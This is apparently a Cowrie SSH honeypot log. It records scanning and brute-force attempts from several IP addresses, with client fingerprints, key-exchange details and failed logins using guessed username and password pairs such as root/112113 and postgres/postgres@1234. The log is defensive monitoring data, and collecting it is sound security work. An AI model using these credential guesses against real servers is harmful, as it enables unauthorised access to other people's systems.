{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:45.751513Z","src_ip":"221.139.88.149","session":"ed0931b1ee26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:46.472585Z","src_ip":"159.203.92.129","session":"971b9e9b41df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@1234","message":"login attempt [postgres/postgres@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:46.708736Z","src_ip":"221.139.88.149","session":"ed0931b1ee26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:47.931980Z","src_ip":"221.139.88.149","session":"ed0931b1ee26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":6433,"dst_ip":"10.17.0.5","dst_port":22,"session":"c32d2623dfec","protocol":"ssh","message":"New connection: 201.149.53.243:6433 (10.17.0.5:22) [session: c32d2623dfec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:58.270317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:58.274729Z","src_ip":"201.149.53.243","session":"c32d2623dfec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:58.340967Z","src_ip":"201.149.53.243","session":"c32d2623dfec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"password123","message":"login attempt [developer/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:58.639447Z","src_ip":"201.149.53.243","session":"c32d2623dfec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:20:59.709040Z","src_ip":"201.149.53.243","session":"c32d2623dfec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":48390,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bc8983dc1f1","protocol":"ssh","message":"New connection: 210.183.21.53:48390 (10.17.0.5:22) [session: 0bc8983dc1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:14.628948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:14.634012Z","src_ip":"210.183.21.53","session":"0bc8983dc1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:14.841017Z","src_ip":"210.183.21.53","session":"0bc8983dc1f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112113","message":"login attempt [root/112113] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:15.732801Z","src_ip":"210.183.21.53","session":"0bc8983dc1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:16.943905Z","src_ip":"210.183.21.53","session":"0bc8983dc1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46810,"dst_ip":"159.203.135.109","dst_port":22,"session":"62bbc822cfdd","protocol":"ssh","message":"New connection: 159.203.92.129:46810 (159.203.135.109:22) [session: 62bbc822cfdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:27.091569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:27.103266Z","src_ip":"159.203.92.129","session":"62bbc822cfdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:27.107304Z","src_ip":"159.203.92.129","session":"62bbc822cfdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Well","password":"123","message":"login attempt [Well/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:27.136341Z","src_ip":"159.203.92.129","session":"62bbc822cfdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:28.148682Z","src_ip":"159.203.92.129","session":"62bbc822cfdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":40202,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a9d466f2dc","protocol":"ssh","message":"New connection: 221.139.88.149:40202 (159.203.135.109:22) [session: 84a9d466f2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:44.426316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:44.431284Z","src_ip":"221.139.88.149","session":"84a9d466f2dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:44.621508Z","src_ip":"221.139.88.149","session":"84a9d466f2dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#$%^","message":"login attempt [ubuntu/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:45.446285Z","src_ip":"221.139.88.149","session":"84a9d466f2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:46.650041Z","src_ip":"221.139.88.149","session":"84a9d466f2dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":2296,"dst_ip":"10.17.0.5","dst_port":22,"session":"b75bbe5ae623","protocol":"ssh","message":"New connection: 201.149.53.243:2296 (10.17.0.5:22) [session: b75bbe5ae623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:52.288411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:52.292533Z","src_ip":"201.149.53.243","session":"b75bbe5ae623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:52.357977Z","src_ip":"201.149.53.243","session":"b75bbe5ae623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"pass@123","message":"login attempt [test/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:52.653791Z","src_ip":"201.149.53.243","session":"b75bbe5ae623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:21:53.721980Z","src_ip":"201.149.53.243","session":"b75bbe5ae623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.53","src_port":63288,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a81ab94931f","protocol":"ssh","message":"New connection: 198.235.24.53:63288 (10.17.0.5:22) [session: 2a81ab94931f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:03.050449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:04.176638Z","src_ip":"198.235.24.53","session":"2a81ab94931f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:05.477780Z","src_ip":"198.235.24.53","session":"2a81ab94931f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43386,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7449ca7b9e6","protocol":"ssh","message":"New connection: 159.203.92.129:43386 (159.203.135.109:22) [session: c7449ca7b9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:08.883303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:08.888221Z","src_ip":"159.203.92.129","session":"c7449ca7b9e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:08.893044Z","src_ip":"159.203.92.129","session":"c7449ca7b9e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Well","password":"123456","message":"login attempt [Well/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:08.905163Z","src_ip":"159.203.92.129","session":"c7449ca7b9e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":37306,"dst_ip":"10.17.0.5","dst_port":22,"session":"acb7e8153364","protocol":"ssh","message":"New connection: 210.183.21.53:37306 (10.17.0.5:22) [session: acb7e8153364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:09.097144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:22:09.101750Z","src_ip":"210.183.21.53","session":"acb7e8153364","protocol":"ssh"}
